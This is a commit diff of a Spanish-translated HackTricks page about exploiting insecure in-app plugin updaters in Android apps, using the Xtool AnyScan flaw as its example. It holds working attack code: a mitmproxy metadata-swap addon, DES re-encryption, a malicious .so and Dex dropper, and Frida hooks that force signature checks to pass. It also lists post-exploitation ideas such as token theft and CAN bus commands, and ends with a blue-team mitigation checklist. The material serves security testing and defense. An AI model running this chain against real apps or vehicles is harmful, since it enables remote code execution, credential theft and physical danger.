mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
b290bbd166
commit
5ab1560c0b
@ -1,16 +1,49 @@
|
||||
# Mecanismos de Actualización Insegura en la Aplicación – Ejecución Remota de Código a través de Plugins Maliciosos
|
||||
# Mecanismos de actualización in-app inseguros – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Muchas aplicaciones de Android implementan sus **propios canales de actualización de “plugins” o “características dinámicas”** en lugar de utilizar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar el tráfico puede suministrar **código nativo arbitrario que se cargará dentro del proceso de la aplicación**, lo que lleva a una Ejecución Remota de Código (RCE) completa en el dispositivo – y en algunos casos en cualquier dispositivo externo controlado por la aplicación (coches, IoT, dispositivos médicos…).
|
||||
Muchas aplicaciones Android implementan sus propios canales de actualización “plugin” o “dynamic feature” en lugar de usar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar o manipular el tráfico de actualización puede suministrar código nativo o Dalvik/ART arbitrario que se cargará dentro del proceso de la app, llevando a Remote Code Execution (RCE) total en el dispositivo — y en algunos casos en cualquier dispositivo externo controlado por la app (cars, IoT, medical devices …).
|
||||
|
||||
Esta página resume una cadena de vulnerabilidad del mundo real encontrada en la aplicación de diagnóstico automotriz Xtool **AnyScan** (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras aplicaciones de Android y aprovechar la mala configuración durante un compromiso de red team.
|
||||
Esta página resume una cadena de vulnerabilidades real encontrada en la app Xtool AnyScan automotive-diagnostics (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras apps Android y weaponise la mala configuración durante un red-team engagement.
|
||||
|
||||
---
|
||||
## 1. Identificación de un TrustManager TLS Inseguro
|
||||
## 0. Triado rápido: ¿la app tiene un actualizador in‑app?
|
||||
|
||||
1. Descompón el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Busca un **`TrustManager`** o `HostnameVerifier` personalizado que confíe ciegamente en cada certificado:
|
||||
Pistas estáticas para buscar en JADX/apktool:
|
||||
- Cadenas: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||
- Endpoints de red como `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||
- Helpers criptográficos cerca de rutas de actualización (DES/AES/RC4; Base64; JSON/XML packs).
|
||||
- Cargadores dinámicos: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||
- Rutas de unzip que escriben en almacenamiento interno de la app o externo, y luego cargan inmediatamente un `.so`/DEX.
|
||||
|
||||
Hooks en tiempo de ejecución para confirmar:
|
||||
```js
|
||||
// Frida: log native and dex loading
|
||||
Java.perform(() => {
|
||||
const Runtime = Java.use('java.lang.Runtime');
|
||||
const SystemJ = Java.use('java.lang.System');
|
||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||
|
||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||
console.log('[System.load] ' + p); return this.load(p);
|
||||
};
|
||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||
};
|
||||
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||
};
|
||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||
return this.$init(dexPath, optDir, libPath, parent);
|
||||
};
|
||||
});
|
||||
```
|
||||
---
|
||||
## 1. Identificando un TrustManager TLS inseguro
|
||||
|
||||
1. Descompila el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Busca un `TrustManager` o `HostnameVerifier` personalizado que confíe ciegamente en cualquier certificado:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. Si está presente, la aplicación aceptará **cualquier certificado TLS** → puedes ejecutar un **proxy MITM** transparente con un certificado autofirmado:
|
||||
3. Si está presente, la aplicación aceptará cualquier certificado TLS → puedes ejecutar un proxy MITM transparente con un self-signed cert:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. Ingeniería Inversa de los Metadatos de Actualización
|
||||
Si TLS pinning está aplicado en lugar de la lógica insegura trust-all, ver:
|
||||
|
||||
En el caso de AnyScan, cada lanzamiento de la aplicación activa un GET HTTPS a:
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
## 2. Ingeniería inversa de los metadatos de actualización
|
||||
|
||||
En el caso de AnyScan, cada lanzamiento de la app desencadena un HTTPS GET a:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
El cuerpo de la respuesta es un **documento XML** cuyas nodos `<FileData>` contienen **JSON encriptado con DES-ECB y codificado en Base64** que describe cada plugin disponible.
|
||||
El cuerpo de la respuesta es un documento XML cuyos nodos `<FileData>` contienen JSON cifrado con DES-ECB y codificado en Base64 que describe cada plugin disponible.
|
||||
|
||||
Pasos típicos de búsqueda:
|
||||
1. Localizar la rutina criptográfica (por ejemplo, `RemoteServiceProxy`) y recuperar:
|
||||
* algoritmo (DES / AES / RC4 …)
|
||||
* modo de operación (ECB / CBC / GCM …)
|
||||
* clave / IV codificados de forma fija (a menudo claves DES de 56 bits o claves AES de 128 bits en constantes)
|
||||
2. Re-implementar la función en Python para desencriptar / encriptar los metadatos:
|
||||
Pasos típicos:
|
||||
1. Localiza la rutina criptográfica (p. ej. `RemoteServiceProxy`) y recupera:
|
||||
- algoritmo (DES / AES / RC4 …)
|
||||
- modo de operación (ECB / CBC / GCM …)
|
||||
- clave/IV codificados en el código (comúnmente constantes DES de 56‑bit o AES de 128‑bit)
|
||||
2. Re-implementa la función en Python para descifrar/cifrar los metadatos:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
Notas observadas en el campo (2023–2025):
|
||||
- Metadata suele ser JSON-within-XML o protobuf; los cifrados débiles y las claves estáticas son comunes.
|
||||
- Muchos updaters aceptan HTTP sin TLS para la descarga del payload, incluso si metadata se entrega por HTTPS.
|
||||
- Los Plugins con frecuencia descomprimen en app-internal storage; algunos todavía usan external storage o el legacy `requestLegacyExternalStorage`, lo que permite cross-app tampering.
|
||||
|
||||
---
|
||||
## 3. Crear un Plugin Malicioso
|
||||
|
||||
1. Elige cualquier plugin legítimo en formato ZIP y reemplaza la biblioteca nativa con tu payload:
|
||||
### 3.1 Ruta de la biblioteca nativa (dlopen/System.load[Library])
|
||||
|
||||
1. Elige cualquier plugin ZIP legítimo y reemplaza la biblioteca nativa con tu payload:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunte a tu servidor HTTP.
|
||||
3. Encripta con DES + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado.
|
||||
2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunten a tu servidor HTTP.
|
||||
3. Re-encripta + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado.
|
||||
|
||||
## 4. Entrega la Carga Útil con mitmproxy
|
||||
### 3.2 Ruta de plugin basada en Dex (DexClassLoader)
|
||||
|
||||
`addon.py` ejemplo que *silenciosamente* intercambia los metadatos originales:
|
||||
Algunas apps descargan un JAR/APK y cargan código vía `DexClassLoader`. Construye un DEX malicioso que se ejecute al cargarse:
|
||||
```java
|
||||
// src/pwn/Dropper.java
|
||||
package pwn;
|
||||
public class Dropper {
|
||||
static { // runs on class load
|
||||
try {
|
||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||
} catch (Throwable t) {}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile and package to a DEX jar
|
||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||
jar cf dropper.jar -C out/ .
|
||||
d8 --output outdex/ dropper.jar
|
||||
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||
```
|
||||
Si el objetivo llama a `Class.forName("pwn.Dropper")` tu inicializador estático se ejecuta; de lo contrario, enumera reflectivamente las clases cargadas con Frida y llama a un método exportado.
|
||||
|
||||
---
|
||||
## 4. Entregar el Payload con mitmproxy
|
||||
|
||||
`addon.py` ejemplo que intercambia silenciosamente los metadatos originales:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
@ -89,36 +166,69 @@ MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
Ejecuta un servidor web simple para alojar el ZIP malicioso:
|
||||
Ejecute un servidor web simple para alojar el ZIP/JAR malicioso:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
Cuando la víctima lanza la aplicación, esta:
|
||||
* obtiene nuestro XML forjado a través del canal MITM;
|
||||
* lo descifra y analiza con la clave DES codificada;
|
||||
* descarga `PWNED.zip` → descomprime dentro del almacenamiento privado;
|
||||
* `dlopen()` la *libscan_x64.so* incluida, ejecutando instantáneamente nuestro código **con los permisos de la aplicación** (cámara, GPS, Bluetooth, sistema de archivos, …).
|
||||
Cuando la víctima lanza la app, esta:
|
||||
- obtendrá nuestro XML forjado a través del canal MITM;
|
||||
- lo descifrará y analizará con la crypto hard-coded;
|
||||
- descargará `PWNED.zip` o `plugin.jar` → lo descomprimirá dentro del almacenamiento privado;
|
||||
- cargará la `.so` incluida o DEX, ejecutando instantáneamente nuestro código con los permisos de la app (cámara, GPS, Bluetooth, sistema de archivos, …).
|
||||
|
||||
Debido a que el plugin se almacena en caché en el disco, el backdoor **persiste a través de reinicios** y se ejecuta cada vez que el usuario selecciona la función relacionada.
|
||||
|
||||
## 5. Ideas de Post-Explotación
|
||||
|
||||
* Robar cookies de sesión, tokens de OAuth o JWTs almacenados por la aplicación.
|
||||
* Lanzar un APK de segunda etapa e instalarlo silenciosamente a través de `pm install` (la aplicación ya tiene `REQUEST_INSTALL_PACKAGES`).
|
||||
* Abusar de cualquier hardware conectado: en el escenario de AnyScan, puedes enviar **comandos OBD-II / CAN bus** arbitrarios (desbloquear puertas, desactivar ABS, etc.).
|
||||
Porque el plugin está cached on disk la backdoor persiste a través de reinicios y se ejecuta cada vez que el usuario selecciona la función relacionada.
|
||||
|
||||
---
|
||||
### Lista de Verificación de Detección y Mitigación (equipo azul)
|
||||
## 4.1 Eludir comprobaciones de firma/hash (cuando estén presentes)
|
||||
|
||||
* NUNCA envíes una versión de producción con un TrustManager/HostnameVerifier personalizado que desactive la validación de certificados.
|
||||
* No descargues código ejecutable desde fuera de Google Play. Si *debes*, firma cada plugin con la misma clave **apkSigning v2** y verifica la firma antes de cargar.
|
||||
* Reemplaza criptografía débil/codificada con **AES-GCM** y una clave rotativa del lado del servidor.
|
||||
* Valida la integridad de los archivos descargados (firma o al menos SHA-256).
|
||||
Si el updater valida firmas o hashes, hookea la verificación para que siempre acepte contenido del atacante:
|
||||
```js
|
||||
// Frida – make java.security.Signature.verify() return true
|
||||
Java.perform(() => {
|
||||
const Sig = Java.use('java.security.Signature');
|
||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||
});
|
||||
|
||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||
Java.perform(() => {
|
||||
const Arrays = Java.use('java.util.Arrays');
|
||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||
});
|
||||
```
|
||||
También considere simular métodos del proveedor como `PluginVerifier.verifySignature()`, `checkHash()`, o atajar la lógica de control de actualizaciones en Java o JNI.
|
||||
|
||||
---
|
||||
## Referencias
|
||||
## 5. Otras superficies de ataque en los actualizadores (2023–2025)
|
||||
|
||||
- Zip Slip path traversal while extracting plugins: entradas maliciosas como `../../../../data/data/<pkg>/files/target` sobrescriben archivos arbitrarios. Siempre sanee las rutas de las entradas y use allow‑lists.
|
||||
- External storage staging: si la app escribe el archivo en almacenamiento externo antes de cargarlo, cualquier otra app puede manipularlo. Scoped Storage o almacenamiento interno de la app evita esto.
|
||||
- Cleartext downloads: metadata over HTTPS but payload over HTTP → intercambio MITM sencillo.
|
||||
- Incomplete signature checks: comparar solo el hash de un único archivo, no de todo el archive; no vincular la firma a la clave del desarrollador; aceptar cualquier clave RSA presente en el archivo.
|
||||
- React Native / Web-based OTA content: si los bridges nativos ejecutan JS desde OTA sin firma estricta, es posible la ejecución arbitraria de código en el contexto de la app (p. ej., insecure CodePush-like flows). Asegure detached update signing y una verificación estricta.
|
||||
|
||||
---
|
||||
## 6. Ideas de post-explotación
|
||||
|
||||
- Robar cookies de sesión, tokens OAuth, o JWTs almacenados por la app.
|
||||
- Dejar un APK de segunda etapa e instalarlo silenciosamente vía `pm install` si es posible (algunas apps ya declaran `REQUEST_INSTALL_PACKAGES`).
|
||||
- Abusar de cualquier hardware conectado – en el escenario AnyScan puedes enviar comandos arbitrarios OBD‑II / CAN bus (abrir puertas, desactivar ABS, etc.).
|
||||
|
||||
---
|
||||
### Detection & Mitigation Checklist (blue team)
|
||||
|
||||
- Evite la carga dinámica de código y las actualizaciones fuera de la tienda. Prefiera actualizaciones mediadas por Play. Si los plugins dinámicos son un requisito estricto, diseñe los bundles como data‑only y mantenga el código ejecutable en el APK base.
|
||||
- Enforce TLS properly: no usar custom trust‑all managers; despliegue pinning donde sea factible y una configuración de seguridad de red endurecida que prohíba tráfico en texto claro.
|
||||
- No descargue código ejecutable fuera de Google Play. Si debe hacerlo, use detached update signing (p. ej., Ed25519/RSA) con una clave en poder del desarrollador y verifique antes de cargar. Vincule metadata y payload (longitud, hash, versión) y falle cerrado.
|
||||
- Use modern crypto (AES‑GCM) con nonces por mensaje para metadata; elimine claves hard‑coded de los clientes.
|
||||
- Valide la integridad de los archivos descargados: verifique una firma que cubra cada archivo, o como mínimo verifique un manifiesto de hashes SHA‑256. Rechace archivos extra/desconocidos.
|
||||
- Almacene las descargas en app‑internal storage (o scoped storage en Android 10+) y use permisos de archivo que eviten la manipulación entre apps.
|
||||
- Defienda contra Zip Slip: normalice y valide las rutas de las entradas zip antes de la extracción; rechace rutas absolutas o segmentos `..`.
|
||||
- Considere Play “Code Transparency” para permitirle a usted y a los usuarios verificar que el código DEX/nativo enviado coincide con lo que usted compiló (complementa pero no reemplaza la firma del APK).
|
||||
|
||||
---
|
||||
## References
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user